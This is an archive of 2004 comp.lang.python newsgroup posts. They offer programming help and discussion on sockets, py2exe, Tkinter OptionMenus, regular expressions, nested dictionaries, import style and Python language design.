GTK and PyGTK on Windows - that came as a bit of a surprise, but
certainly a nice one :-)

I must have a play...

Mind you, that's not to say that I'm giving up on wxWindows/Python.
They may not be perfect, but I still think the balance is
substantially in their favour.


-- 
Steve Horne

steve at ninereeds dot fsnet dot co dot uk


From p1fp4f at hotmail.com  Tue Feb 24 07:22:09 2004
From: p1fp4f at hotmail.com (Pif Paf)
Date: 24 Feb 2004 04:22:09 -0800
Subject: TCP servers in Python - two processes want to use same port
References: <d32e694.0402230800.1f98c5f1@posting.google.com>
	<403A248D.47B51ECE@engcorp.com>
Message-ID: <d32e694.0402240422.5b1720b0@posting.google.com>

Peter Hansen <peter at engcorp.com> wrote in message news:<403A248D.47B51ECE at engcorp.com>...
> Pif Paf wrote:
> > 
> > The child process is a very simple program using SimpleHTTPServer. The
> > problem is when I run my test harness, break it with Ctrl-C then try to
> > run it again. The http server complains that it cannot bind to the socket,
> > as the address is already in use.
> 
> I believe you should be looking at SO_REUSE_ADDR as a means of rebinding
> to a socket that was just used recently and may still be active at the 
> OS level, even if the app that used it has exited.

I will give that a go.

> As for the specific question about ways to kill the app that is listening
> on a socket already: I think if you don't know which app it is, there
> isn't a clean way to find out. 

Clearly the operating system knows, so there should be a way to find out.

> If you do know, though, as your test 
> harness probably does, can't it just "kill -9" the thing?

The test harness typically does know the process. However, if the test 
harness stops without doing proper cleanup (e.g. deleting a child processes 
it has created), then when it is restarted there will be "debris" from
the last run that is stopping it from running properly. This is not,
perhaps, a big issue when it's just the test harness, but it is a major 
issue on the production system. If the production system goes down for
any reason, I want to be able to bring it back up again by typing one 
command from the command line. This will run the master process, which in 
turn will restart other processes, and it is not acceptable for an old 
process to be clogging up a socket. 

-- 
Pif Paf


From raja0576 at yahoo.com  Fri Feb 13 07:18:14 2004
From: raja0576 at yahoo.com (Raja)
Date: 13 Feb 2004 04:18:14 -0800
Subject: timeoutsocket - not blocking on connect?
Message-ID: <1a26ae5d.0402130418.4e93e157@posting.google.com>

Hello
Im trying to catch timeouts from a socket and my code looks like
        try:
                timeoutsocket.setDefaultSocketTimeout(10)
                s = timeoutsocket.timeoutsocket(timeoutsocket.AF_INET,
timeoutsocket.SOCK_STREAM)
                print s.get_timeout()
                s.connect(("localhost", 80))
         except timeoutsocket.Timeout:
                print 'Timeout'

I do give a SIGSTOP on my webserver so that all the requests hang and
i have  created a timeout situation.(When i connect to
http://localhost, it hangs).

I looked at timeoutsocket.py and it looks like the connect() does call
socket.connect and then does a select.select using the sock. In my
case, it does have the write file descriptors not blocking and so it
does return back. Shouldnt it just return a timeout for the above
case? The documentation on timeoutsocket.py mentions that if the
timeout needs to be captured on connect(), u shud use the
setdefaultsockettimeout.


Im a newbieee so go easy on me. Please let me know if you need any
more info.

TIA
Raj


From paul at prescod.net  Sun Feb  8 03:05:39 2004
From: paul at prescod.net (Paul Prescod)
Date: Sun, 08 Feb 2004 00:05:39 -0800
Subject: ANNOUNCE: Build 200 of the pywin32 extensions (win32all)
	available
In-Reply-To: <c03pel$19ts$1@arachne.labyrinth.net.au>
References: <c03pel$19ts$1@arachne.labyrinth.net.au>
Message-ID: <4025EDD3.4050007@prescod.net>

Mark Hammond wrote:

> Hi all,
>   I have released a new version of the win32all extensions.  I have also 
> changed significantly the way I release them.

this seems like a milestone in Pywin32's maturity. Congratulations.

  Paul Prescod





From billludden at msn.com  Fri Feb 13 22:14:24 2004
From: billludden at msn.com (Bill Ludden)
Date: 13 Feb 2004 19:14:24 -0800
Subject: Easy way to make EXEs...
References: <NMDRb.28013$i4.26542@newsread1.news.atl.earthlink.net>
	<X8iSb.1962$jH6.125@newsread1.news.atl.earthlink.net>
Message-ID: <3ce219d4.0402131914.4c0be0b@posting.google.com>

Voila!  Yeah!
Thank You, Lucas!

Newbs appreciate people like you.
We have to search Google for hours to find a post that will put it on our level.
I can't tell you how much I appreciate the step-by-step.
Now I understand the process and the syntax.


Gracias!!!!
Grazie  !!!
Thx.!!!











"Lucas Raab" <pythongnome at hotmail.com> wrote in message news:<X8iSb.1962$jH6.125 at newsread1.news.atl.earthlink.net>...
> "Xero Limit 126" <xerolimit126 at earthlink.net> wrote in message
> news:NMDRb.28013$i4.26542 at newsread1.news.atl.earthlink.net...
> > Okay, I am completely new to Python, and I really dont understand much,
>  but
> > I was wondering how to make a python script/program into a standalone
>  .EXE?
> > I dont understand py2exe at all, so if someone could tell me or find me an
> > easy (For a newbie) to convert Python scripts to EXEs, please let me know!
> >
> > Thanks for any help!
> >
> >
> You should have no trouble with py2exe at all. A simple setup script would
> be:
> 
> #setup.py
> from distutils.core import setup
> import py2exe
> 
> setup(name="myfile.py",
>       scripts=["myfile.py"],
>       )
> 
> Then to compile that file, go to the command prompt and switch to the
> directory that the file is in. For example on my machine I would do the
> following:
> 
> Microsoft Windows XP [Version 5.1.2600]
> (C) Copyright 1985-2001 Microsoft Corp.
> 
> C:\Documents and Settings\Lucas Raab>cd C:\Python23
> 
> C:\Python23>python setup.py py2exe
> 
> Wait a few moments for py2exe to compile your script and Voilla!! you have
> an executable.


From newsgroups at jhrothjr.com  Tue Feb 24 13:59:57 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Tue, 24 Feb 2004 13:59:57 -0500
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com>
Message-ID: <103n7q6278bj4be@news.supernews.com>


"Marco Aschwanden" <PPNTWIMBXFFC at spammotel.com> wrote in message
news:15c2d03b.0402240311.395f5382 at posting.google.com...
> Hi
>
> I don't have to talk about the beauty of Python and its clear and
> readable syntax... but there are a few things that striked me while
> learning Python.
>
> I have collected those thoughts. I am sure there are many discussions
> on the "problems" mentioned here. But I had this thoughts without
> looking into any forums or anything... it is kind of feedback.
>
> Thanks for this marvellous language,
> Marco
>
>
>
> *** Problem: clumsy static class methods
>
> In order to create a static method we have to use a the builtin
> staticmethod(function):
>
> class C (object):
>     def f(arg1, arg2, ...): ...
>     f = staticmethod(f)
>
> Why? The speciality of a "static" method is: It has no access to any
> instance vars. The following class is easier to read and understand
> what a static method is about... as a positive side-effect: self is
> not available and it can't be used!

Since several people have already mentioned that the syntax
is a temporary expedient until such time as a better idea can
be agreed upon, I'll just add one thing. "self" is not a built-in.
There is no requirement that the first parameter of a method
be called "self", although it's easy enough to get that impression.
So it's not possible to distinguish static methods by not having
"self" as the first parameter.

> *** Problem: clumsy properties for classes
>
> property( [fget[, fset[, fdel[, doc]]]])
>
> class C(object):
>     def getx(self): return self.__x
>     def setx(self, value): self.__x = value
>     def delx(self): del self.__x
>     x = property(getx, setx, delx, "I'm the 'x' property.")

[blah...]

There's nothing standing in your way of writing a
metaclass to do this, you know.

> *** Problem: Many builtins are not necessary
>
> Many builtins are not necessary. To name a few: min / max / len
>
> This functions should be defined on the class:
>
> ["I", "like", "Python"].len()
> "I".len()
> {1:"I", "2":"like", 3:"Python"}.len()
> (1,2,3,4).len()
>
> "Throwing away" this builtins would flatten the alreay flat learning
> curve once more (you don't have to learn that many builtins) ... these
> functions belong to the class and they are naturally expected there.
> One weakness of a language as (Visual)Basic, PHP, ... is its payload
> of available functions... Python's OO helps here to diminish the need
> for lots of functions.

That's a common complaint of OO purists about Python. Most
of them miss one rather obvious point: single inheritance languages
that have a root object tend to load that object with lots of utility
functions as methods, and then expect that all derived classes will
kowtow to them and not change their meaning. That makes it very
difficult to add new universal methods: you'll run into existing
classes that use them for something else.

Python's method of doing it takes universal method names
out of a different name space.

> *** Problem: tuples are not necessary

Frankly, there is very little in any programming language that is
necessary. Back when I brushed up against computability theory,
I found that all programs can be written in a language with one operation:
a combination of subtract and conditional branch. That's hardly
practical, though. The question is whether a feature serves a useful
purpose.

Tuples serve two distinct purposes. One is as a cheap version
of a C struct: that is, a data structure in which each element
serves a conceptually different purpose.

The other is as a structure that is immutable so it can be used
as a key in a dict.

One thing to understand about this is that immutability is key:
dicts depend on having a hash key that is somehow derived
from the content of the object, and if the content of a key
changes that key will probably simply be unlocatable: it will be
filed in the dict under the old rather than the new hash code.

Ruby, for instance, does not have that restriction on hash
keys, but it's got other restrictions that are much easier
to trip over.


> *** Problem: builtins list() dict() ...
>
> A list, a dictionary, a str, an int, a float are builtin functions...
>
> myList = list()
> myDict = dict()
> myString = str(45)
>
> The list-function instantiates a new list... it is actually nothing
> but an overloaded List class. Why are the handed in as functions? In a
> OO environment it should be more the instatiation of a class rather
> than a function and classes start with an uppercase letter:
>
> myList = List()
> myDict = Dict()
> myString = String(45)

I think we've discussed the built-in function versus object
attribute issue before.

John Roth




From peter at engcorp.com  Thu Feb 19 17:52:11 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 19 Feb 2004 17:52:11 -0500
Subject: truly global variables
References: <f046efac.0402190047.ee56994@posting.google.com>
	<4034D6E0.457BF2D6@engcorp.com>
	<slrnc3a9j9.16l.bignose-hates-spam@rose.localdomain.fake>
Message-ID: <40353E1B.AE538402@engcorp.com>

Ben Finney wrote:
> 
> On Thu, 19 Feb 2004 10:31:44 -0500, Peter Hansen wrote:
> > Provided you're willing to have a dot in the name of the variable,
> 
> Variable names don't have dots in them.  A dot separates the variable
> name from its namespace.

I know that.  You know that.  From the point of view of a newbie who
wants "true globals", it's a moot point...

-Peter


From eric.brunel at N0SP4M.com  Wed Feb 25 04:15:15 2004
From: eric.brunel at N0SP4M.com (Eric Brunel)
Date: Wed, 25 Feb 2004 10:15:15 +0100
Subject: How to link 3 Tkinter OptionMenu lists?
References: <mailman.85.1077692778.8594.python-list@python.org>
Message-ID: <c1hok1$ktm$1@news-reader1.wanadoo.fr>

Stewart Midwinter wrote:
> I would like to link the contents of three OptionMenu lists. When I select an
> item from the first list (call it continents), the contents of the 2nd list
> (call it countries) would update. And in turn the contents of the 3rd list (call
> it states would be updated by a change in the 2nd list.  If anyone can share a
> recipe or some ideas, I'd be grateful!

Seeing your code below, you already know everything needed to do that. Read on...

> Here's some sample code that displays three OptionMenus, but doesn't update the
> list contents :-(
> 
> ---
> #file selectSystem.py
> title = 'linked OptionMenus'
> 
> # Import Pmw from this directory tree.
> import sys
> sys.path[:0] = ['../../..']
> 
> import Tkinter
> import Pmw, re
> 
> global continentList, countryList, stateList
> 
> continentList = ['N.America','C. America', 'S. America']
> countryList   = [['Canada','USA','Mexico'],
> 		['Guatemala','Nicaragua','Panama'],
> 		['Venezuela','Colombia','Ecuador']]
> stateList     = [[['BC','Alberta','Saskatchewan','others'],
> 		['California','Oregon','Washington','others'],
> 		['Michoacan','Oaxaca','Monterrey','others']],
> 		[['Guatemala states'],['Nicaragua states'],['Panama states']],
> 		[['Venezuela states'],['Colombia states'],['Ecuador states']]]

I'd turn countryList and stateList into dictionaries like follows:

countryList   = {
   'N.America': ['Canada','USA','Mexico'],
   'C. America': ['Guatemala','Nicaragua','Panama'],
   'S. America': ['Venezuela','Colombia','Ecuador']
}
stateList = {
   'Canada': ['BC','Alberta','Saskatchewan','others'],
   'USA': ['California','Oregon','Washington','others'],
   ...
}

This is not really required, but it would make the selection of the items in the 
sub-lists far easier. See below.

> # default selection
> continentItem = continentList[0]
> countryItem   = countryList[0][0]
> stateItem     = stateList[0][0][0]

With dictionaries, that would become:

countryItem = countryList[continentItem][0]
stateItem = stateList[countryItem][0]

> class selectSystem:
>     def __init__(self, parent):
> 	# Create and pack the OptionMenu megawidgets.
> 	# The first one has a textvariable.
> 	self.var1 = Tkinter.StringVar()
> 	self.var2 = Tkinter.StringVar()
> 	self.var3 = Tkinter.StringVar()
> 	self.var1.set(continentItem)	# N. America
> 	self.var2.set(countryItem)	# Canada
> 	self.var3.set(stateItem)	# B.C.
> 
> 	self.method1_menu = Pmw.OptionMenu(parent,
> 		labelpos = 'w',
> 		label_text = 'Select Continent:',
> 		menubutton_textvariable = self.var1,
> 		items = continentList,
> 		menubutton_width = 20,
> 		menubutton_direction = 'flush',
> 		command = self._getSelection
> 	)

You should put in the command option here a method that will actually update the 
next OptionMenu from the value selected by the user. You can use the method 
setitems on it to change the list of items for the menu. Here is an example, 
using dictionaries for countryList and stateList:

def _selectContinent(self, choice):
   ## Set appropriate list of countries
   countries = countryList[self.var1.get())]
   self.method2_menu.setitems(countries)
   ## If currently selected country is not in new list, select first valid one
   if not self.var2.get() in countries:
     self.var2.set(countries[0])
   ## Set appropriate list of states
   states = stateList[self.var2.get()]
   self.method3_menu.setitems(states)
   ## If currently selected state is not in list, select first valid one
   if not self.var3.get() in states:
     self.var3.set(states[0])

> 	self.method1_menu.pack(anchor = 'w', padx = 10, pady = 10)
> 
> 	self.method2_menu = Pmw.OptionMenu (parent,
> 		labelpos = 'w',
> 		label_text = 'Select country:',
> 		menubutton_textvariable = self.var2,
> 		items = countryList[0],
> 		menubutton_width = 20,
> 		menubutton_direction = 'flush',
> 		command = self._getSelection
> 	)
> 	self.method2_menu.pack(anchor = 'w', padx = 10, pady = 10)
> 
> 	self.method3_menu = Pmw.OptionMenu (parent,
> 		labelpos = 'w',
> 		label_text = 'Select state:',
> 		menubutton_textvariable = self.var3,
> 		items = stateList[0][0],
> 		menubutton_width = 20,
> 		menubutton_direction = 'flush' ,
> 		command = self._getSelection
> 	)

Same here: you should call via the command a method updating the list of states.

> 	self.method3_menu.pack(anchor = 'w', padx = 10, pady = 10)
> 
> 	menus = (self.method1_menu, self.method2_menu, self.method3_menu)
> 	Pmw.alignlabels(menus)
> 
> 	# Create the dialog.
> 	self.dialog = Pmw.Dialog(parent,
> 	    buttons = ('OK', 'Apply', 'Cancel', 'Help'),
> 	    defaultbutton = 'OK',
> 	    title = 'Select State',
> 	    command = self.execute)
> 	self.dialog.withdraw()
> 
> 	# Add some contents to the dialog.
> 	w = Tkinter.Label(self.dialog.interior(),
> 	    text = 'Pmw Dialog\n(put your widgets here)',
> 	    background = 'black',
> 	    foreground = 'white',
> 	    pady = 20)
> 	w.pack(expand = 1, fill = 'both', padx = 4, pady = 4)
> 
>     def showAppModal(self):
>         self.dialog.activate(geometry = 'centerscreenalways')
> 
>     def execute(self, result):
> 	print 'You clicked on', result
> 	if result not in ('Apply', 'Help'):
> 	    self.dialog.deactivate(result)
> 
>     def _getSelection(self, choice):
> 	# Can use 'self.var.get()' instead of 'getcurselection()'.
> 	print 'You have chosen %s : %s : %s' % \
>             (self.var1.get(), 
> 	     self.var2.get(), 
> 	     self.var3.get() )
> 	print choice  # debug
> 	i2 = indexContinent(self.var1.get())
> 	self.var2.set(countryList[i2][0])
> 	countryItem = countryList[i2]
> 	#print pipelineItems  # debug
> 	self.method2_menu.config(items = countryList)
> 	#s3 = systemElements.indexpipe(s2,test2)

The code for this method should not be called when a menu item changes, but when 
the user validates the input. There is no need for the part starting at the call 
of indexContinent.

[snip rest of code]

A few style remarks: you should name your attributes from what they represent 
and not with numbered names like method1_menu or var3. If your class grows 
bigger, in 6 months, I'm quite sure you won't remember that var2 is the country 
(or was it the state?). Naming the attributes for the menus continentMenu, 
countryMenu and stateMenu, and the corresponding variables continentVar, 
countryVar and stateVar is a good habit to get: you'll make your programs far 
more readable and maintainable.

HTH
-- 
- Eric Brunel <eric dot brunel at pragmadev dot com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com



From linuxlists at chargedideas.com  Thu Feb 19 12:35:22 2004
From: linuxlists at chargedideas.com (Andres Montiel)
Date: 20 Feb 2004 01:35:22 +0800
Subject: Database abstraction (like AdoDB in PHP)
Message-ID: <1077212122.2560.2.camel@kyutums>

Is there something like ADODB in PHP for Python? something that would
allow me to easily switch databases just by changing a few parameters?
:)

- Andres




From tdelaney at avaya.com  Thu Feb  5 18:19:22 2004
From: tdelaney at avaya.com (Delaney, Timothy C (Timothy))
Date: Fri, 6 Feb 2004 10:19:22 +1100
Subject: spam classification breaker
Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE0128F569@au3010avexu1.global.avaya.com>

> From: Tim Peters
>
> That's the purpose of the HTML "web bug"/"web beacon"s in the
> thousands of test messages.

Of course, once I've started training emails with such web bugs (which contain specific URLs, etc) as spam, pretty soon none of those emails are going to be successfully classified as ham.

John didn't state in his article (IIRC - I read it a few days ago when it appeared on Slashdot ;) but I don't think he was training his corpus on those emails - just letting them be classified.

So I think it's essentially a self-defeating attack in any case.

Tim Delaney



From jcarlson at nospam.uci.edu  Sun Feb  1 20:27:13 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 01 Feb 2004 17:27:13 -0800
Subject: F: How can I make re.sub() replace patterns across newlines
In-Reply-To: <bvk6dr$sumlg$1@ID-212335.news.uni-berlin.de>
References: <bvk6dr$sumlg$1@ID-212335.news.uni-berlin.de>
Message-ID: <bvk95o$2ft$1@news.service.uci.edu>

Viktor Rosenfeld wrote:

> Hi,
> 
> I want to strip a JAVA file of /* */ like comments.  Unfortunately, the
> simple regexp "\/\*.*\*\/" only works on comments, that are on one line. 
> Is there a simple way to remove comments that go across several lines with
> python regexp's?  I tried re.M to no avail.
> 
> Thanks,
> Viktor

Viktor,

Supply the DOTALL flag during the regular expression compile as 
described here: http://www.python.org/doc/current/lib/re-syntax.html

You will also want to make the regular expression non-greedy...the 
reasons are quite evident.

 >>> import re
 >>> import pprint
 >>>
 >>> st = """
... /* this is a
... multi-line comment */
...
... /* this is a single-line comment */
...
... /* this /* has multiple
... starts */
... """
#non-greedy matching
 >>> NonGreedy = re.compile("\/\*.*?\*\/", re.DOTALL)
 >>>
 >>> pprint.pprint(NonGreedy.findall(st))
['/* this is a\nmulti-line comment */',
  '/* this is a single-line comment */',
  '/* this /* has multiple\nstarts */']

#greedy matching
 >>> Greedy = re.compile("\/\*.*\*\/", re.DOTALL)
 >>> pprint.pprint(Greedy.findall(st))
['/* this is a\nmulti-line comment */\n\n/* this is a single-line 
comment */\n\n/* this /* has multiple\nstarts */']

  - Josiah


From llothar at web.de  Mon Feb 16 14:53:23 2004
From: llothar at web.de (Lothar Scholz)
Date: 16 Feb 2004 11:53:23 -0800
Subject: any examples of great well-written web apps?
References: <mailman.1229.1075959185.12720.python-list@python.org>
	<FusXb.304324$I06.3087988@attbi_s01>
Message-ID: <6ee58e07.0402161153.2254c415@posting.google.com>

"Valya Illieva" <zena13 at email.ynet.bg> wrote in message news:<FusXb.304324$I06.3087988 at attbi_s01>...
> To whom it may concern:
> ........

You are write when looking from a web-designer point of view that PHP
is better then Python. But you have this opinion only because you have
not written larger applications, anything more then a simple
messageboard. If you do this you find that Python is much much better,
especially when used with webware as an application server.

The C++ style argument is a typical argument for someone who don't
understand the internals and instead critices the pure outfit.

So if Python Baby wants to write something complex python is the
choise number one. Only very large projects (> 30 person years) are
done better with J2EE.

But back to the request for large examples. I must say that the sad
story is that there is no larger open source web python application as
far as i know.
Maybe you find something in the Zope world and on the zope.org
webserver. The time i looked i didn't find anything else then plone.


From pinard at iro.umontreal.ca  Thu Feb 19 18:42:17 2004
From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard)
Date: Thu, 19 Feb 2004 18:42:17 -0500
Subject: Why import only at module level?
In-Reply-To: <40353FC2.2A0C604A@engcorp.com>
References: <7xoervxwxt.fsf@ruckus.brouhaha.com>
	<4034D771.9AE85ECB@engcorp.com>
	<mailman.80.1077217602.27104.python-list@python.org>
	<40353FC2.2A0C604A@engcorp.com>
Message-ID: <20040219234217.GB4965@alcyon.progiciels-bpi.ca>

[Peter Hansen]
> Fran?ois Pinard wrote:

> A better example is application-specific modules.  "Hiding" those down
> in the individual methods that use them makes it much more difficult
> to see the coupling between modules.

Agreed indeed, the coupling between modules is less explicit then.

> More coupling means less maintainability.

On the other hand, the location of `import' has no effect on the amount
of coupling.

> Second reason: if you put your import, which you use in only one
> place, locally in the method where it's used, then modify the code so
> that another method also uses the module, you will end up with two
> imports.  More duplication means less maintainability.

Maybe not.  I may have many functions each having a local counter, and
despite all the duplication, using a single global counter instead would
not imply more maintainability.  Locality (of definition and use) is
often best for maintainability, even if it means random duplication.

There is no definitive rule about what is good or bad, and this is where
good taste comes in, which turns all this program writing into an art!

> > Global variables should be avoided on the average, and moreover,
> > Python is faster at accessing a local than a global.

> As you probably know, I almost never put performance anywhere near the
> level I put other considerations, so if we still differ on this matter,
> perhaps it's because of different values.

Performance is not to be a primary concern on the average, quite
agreed!  Still, a few simple habits are easily acquired that yield
faster programs on average, which happily coincide with good programming
practices.  I consider this coincidence as a reason to rejoice! :-)

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From tnospamwade at bmi.net  Sat Feb 21 17:38:28 2004
From: tnospamwade at bmi.net (T. Earle)
Date: Sat, 21 Feb 2004 14:38:28 -0800
Subject: Complex Nested Dictionaries
References: <40354c35@news.bmi.net> <c15mko$c2g$1@nntp6.u.washington.edu>
	<4036a303@news.bmi.net> <4037acf2$1@nntp0.pdx.net>
Message-ID: <4037dda3$1@news.bmi.net>

Scot,

I really appreciate your help and code.  It really helps me to understand
the underlying solution to my problem.  I have another question though,
what's the best way to test if the headline already exists?  If it does not,
I need to create it along with the required associated data; however, if it
already exists, I need to test to ensure I'm not already adding data that's
already there (e.g., time and/or state already exists).  Basically, I
envision, if the state already exists all I need to do is add the new zone.
I probably should check to make sure the zone doesn't already exists too.
Any help would be greatly appreciated.  I believe it would be similiar to
what Russell mentioned in his previous responce:

"if list a[key] exists, then append; otherwise, create a new list"

Would it be possible to supply a code snippet of this logic to get me
started?  What are state and time?  Is it possible to use the "key" keyword
on these variables to test for their existence?  I apologize for my lack of
knowledge in this particular realm of programming in Python.  Nested
dictionaries have always given me trouble.

Thanks,

T. Earle

>
> warndict['High Wind Warning'] = {
>      time1: {
>          state1: [zone1, zone2, zone3],
>          state2: [zone1, zone3]},
>      time2: {...},
>      ...}
>
> can be built with something like:
> warndict = {}
> for headline, time, state, zone in somesource:
>      timedict = warndict.setdefault(headline, {})
>      statedict = timedict.setdefault(time, {})
>      stateentry = statedict.setdefault(state, [])
>      stateentry.append(zone)




From stephan.diehlNOSPAM at gmx.net  Tue Feb  3 07:11:37 2004
From: stephan.diehlNOSPAM at gmx.net (Stephan Diehl)
Date: Tue, 03 Feb 2004 13:11:37 +0100
Subject: advice on programming style: is multiple inheritance bad?
References: <bvjhkv$ss4$1@news.rz.uni-karlsruhe.de>
	<bvl0m8$tb3$1@lust.ihug.co.nz> <101v2o3f3modl04@news.supernews.com>
Message-ID: <bvo31m$k0q$05$1@news.t-online.com>

John Roth wrote:

[...]

> 
> And that's one of the conceptual pitfalls. A mathematician would
> look at the behavior of a subclass as having ***less*** functionality
> than the superclass, while in practice subclasses usually have either
> *different* functionality or *more* functionality.
> 

I'd really question your statement here. Take for example the "class" of all
real functions (f:R->R) and then have a look at "smooth" functions and
"differential" functions.
These "subclasses" have actually **more** functionality (in the sense that
theorems that are true for real functions are also true for smooth
functions while the reverse is not true).

This all hinges, of course, what a "class" is supposed to be. Since nobody
can agree on the definition of OO, math is best left alone as an argument
pro/contra some OO scheme.

Just my 2c

Stephan


From balex at sympatico.ca  Wed Feb  4 13:55:02 2004
From: balex at sympatico.ca (Brian)
Date: Wed, 04 Feb 2004 13:55:02 -0500
Subject: counting references to an instance
Message-ID: <pan.2004.02.04.18.55.02.385092.6672@sympatico.ca>

Hello;

Is it possible to get an object to return the number of references there
are to itself?

Ex:

class test(object):
 pass

a = test()
b = a

# Should print "2", if I knew the name of the method.
print a.refCount()

Many thanks,

Brian.


From mcfletch at rogers.com  Tue Feb 24 14:25:09 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Tue, 24 Feb 2004 14:25:09 -0500
Subject: Regular expressions help
In-Reply-To: <6af33541.0402241054.77ae5c61@posting.google.com>
References: <6af33541.0402241054.77ae5c61@posting.google.com>
Message-ID: <403BA515.8070408@rogers.com>

Look in the module reference for REs, particularly the expression syntax 
section:
    http://www.python.org/doc/2.3.3/lib/re-syntax.html

You probably want either the $ or \b constructs.  I'll let you decide 
which is more appropriate for your task.  You might alternately want the 
(?! ... ) construct, but that's probably more complex than your needs.

HTH,
Mike

Mike Hearne wrote:

>Given the following three lines:
>
>name fredgeorge
>name georgeharry
>name george
>
>I'm trying to find a regular expression that matches only the third
>one.
>  
>
...
_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/





From rowen at cesmail.net  Wed Feb  4 14:17:35 2004
From: rowen at cesmail.net (Russell E. Owen)
Date: Wed, 04 Feb 2004 11:17:35 -0800
Subject: where should config files go in Windows?
References: <rowen-A76EB5.10462702022004@nntp2.u.washington.edu>
	<mailman.1140.1075749926.12720.python-list@python.org>
Message-ID: <rowen-FAB8EF.11173504022004@nntp6.u.washington.edu>

In article <mailman.1140.1075749926.12720.python-list at python.org>,
 "Mike C. Fletcher" <mcfletch at rogers.com> wrote:

>Russell E. Owen wrote:
>...
>
>>(essentially I asked where prefs and application-specific data go on Windows)
>>
>There are actually multiple directories for this kind of thing, 
>depending on whether you're describing user's documents, 
>application-specific data for the user (e.g. custom dictionaries), 
>common application-specific data (app-specific system dictionaries), 
>etceteras.  You can see an example of retrieving the user's 
>application-specific data directory here:
>
>http://cvs.sourceforge.net/viewcvs.py/pyopengl/OpenGLContext/browser/homedirect
>ory.py?view=markup
>
>using either of _winreg (standard module) or win32com's shell (common 
>add-on, part of win32all).
>
>See the MSDN documentation for the various folders which are defined.
>
>http://msdn.microsoft.com/library/default.asp?url=/library/en-us/shellcc/platfo
>rm/shell/reference/functions/shgetfolderpath.asp

Thank you very much! That's just what I wanted. I'll put preferences 
<AppData>\TUIPrefs, optional user additions in <AppData>\TUIAdditions 
and optional shared additions in <Common_AppData>\TUIAdditions. There 
are equivalent standard directories on MacOS X (easily found; code 
available on request). For unix I'll use ~/.TUIPrefs, ~/TUIAdditions and 
(for lack of a better place), shared additions in 
<tui_root>/TUIAdditions, where <tui_root> is the folder containing the 
app's code.

-- Russell


From sholden at holdenweb.com  Fri Feb  6 10:18:58 2004
From: sholden at holdenweb.com (Steve Holden)
Date: Fri, 6 Feb 2004 10:18:58 -0500
Subject: A Simple Conference Utility Program?
Message-ID: <CGECIJPNNHIFAJKHOLMAEEOAKHAA.sholden@holdenweb.com>

Just a quickie.

Suppose we have a number of registered delegates for a conference, and
we want to publish a list of the names of only those who confirm, by
sending an email to a specific address, that they wish their names to be
published.

Obviously emails that do not come from an address registered in the
database should be ignored. We can maybe ignore the risk of spamming,
though any anti-spam measures to make the email address more secure
would be useful. [Next year we'll have them choose passwords when they
register...]

Given that all data can comfortably be held in memory, and starting with
a list of (name, email, False) triples, how much Python does it take to
maintain and publish a list of confirmed delegates?

[name may actually be (firstname, lastname)].

regards
 Steve
--
Steve Holden                                 http://www.holdenweb.com/
ReportLab Enterprise Publishing Solutions    http://www.reportlab.com/
Chairman, PyCon DC 2004                          http://www.pycon.org/
Telephone: +1-800 494 3119                        Fax: +1 703 278 8289






From anton at vredegoor.doge.nl  Tue Feb 24 12:06:49 2004
From: anton at vredegoor.doge.nl (Anton Vredegoor)
Date: Tue, 24 Feb 2004 18:06:49 +0100
Subject: Some language proposals.
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
Message-ID: <403b84f8$0$134$3a628fcd@reader1.nntp.hccnet.nl>

Antoon Pardon <apardon at forel.vub.ac.be> wrote:

>I'm rather new at this, so I don't know how I should
>introduce this, nor whether these ideas are worth much
>but here goes.

I'm rather new at criticizing new language proposals so forgive me for
not fighting new ideas ferociously enough :-) But seriously, I think
it's better to keep an eye open to new proposals. Even if things have
been discussed before, the fact that the same ideas come up again and
again should mean something in itself. Also a lot of proposals come in
the company of new ideas that have not yet been evaluated.

>Now my idea would be to look at the local variables in
>a function like member variables of an object so that
>you could write
>
>
>def fun_1():
>
>  a = some_value
>  b = a_value_too
>
>  def fun_2():
>
>    fun_1.a = new_value
>    fun_1.b = next_value
>
>
>This could maybe even extended further is seeing functions
>like some kind of module which would allow something like
>the following
>
>
>def fun_1():
>
>  a = some_value
>  b = a_value_too
>      
>  def fun_2():
>
>    from fun_1 import a, b
>
>    a = new_value
>    b = next_value
>
>
>What do people think about this?
>As far as I know the proposal doesn't break existing
>code and seems in the spirit of python.

I don't see much merit in this, since functions are designed to go out
of scope once they are executed. Having sub-scopes change names higher
up is considered a no-no in Python, although new developments like
"properties" are already nibbling little chunks away from this
concept.

However, in the case of *generator functions* this situation changes
dramatically, so you might score some points there. The road to take
would be something along the lines of "practicality beats purity".

>On a side note, what would people think about the idea of
>a from ... import ... statement usable on any object? So
>that we could do:
>
>class A:
>  pass
>
>A.a = ...
>A.b = ...
>
>from A import a, b
>
># from here a and be refer to A.a and A.b

This raises the question of why not to use a class to begin with even
for your earlier proposals. Anyway, this can be accomplished easily
with:

  a,b = A.a,A.b

If you still want to go through with this, have a look at this link:

http://us.st5.yimg.com/store4.yimg.com/I/demotivators_1780_2263455

Anton





From mirko-lists at zeibig.net  Tue Feb  3 07:23:44 2004
From: mirko-lists at zeibig.net (Mirko Zeibig)
Date: Tue, 03 Feb 2004 13:23:44 +0100
Subject: Question about 'if __name__ == "__main__":'
In-Reply-To: <mailman.1156.1075798623.12720.python-list@python.org>
References: <mailman.1156.1075798623.12720.python-list@python.org>
Message-ID: <bvo3sl$u772g$1@ID-198792.news.uni-berlin.de>

Hakan Nilsson said the following on 02/03/2004 09:57 AM:
> On Tue, 3 Feb 2004, PoD wrote:
> 
> 
>>On Mon, 02 Feb 2004 23:33:42 -0800, Amy G wrote:
>>
>>
>>>I have a program that needs a little help.
>>>Right now the program runs in my crontab.  When it runs, it sets a few
>>>variables based on a query to a MySQL database.  I would like to modify it
>>>so that it can run as it is... or if arguments are supplied, use those
>>>instead of querrying the database.
>>>
>>
>>Hint: len(sys.argv)
>> 
> 
> You might want to check out the getopt module too:
> 
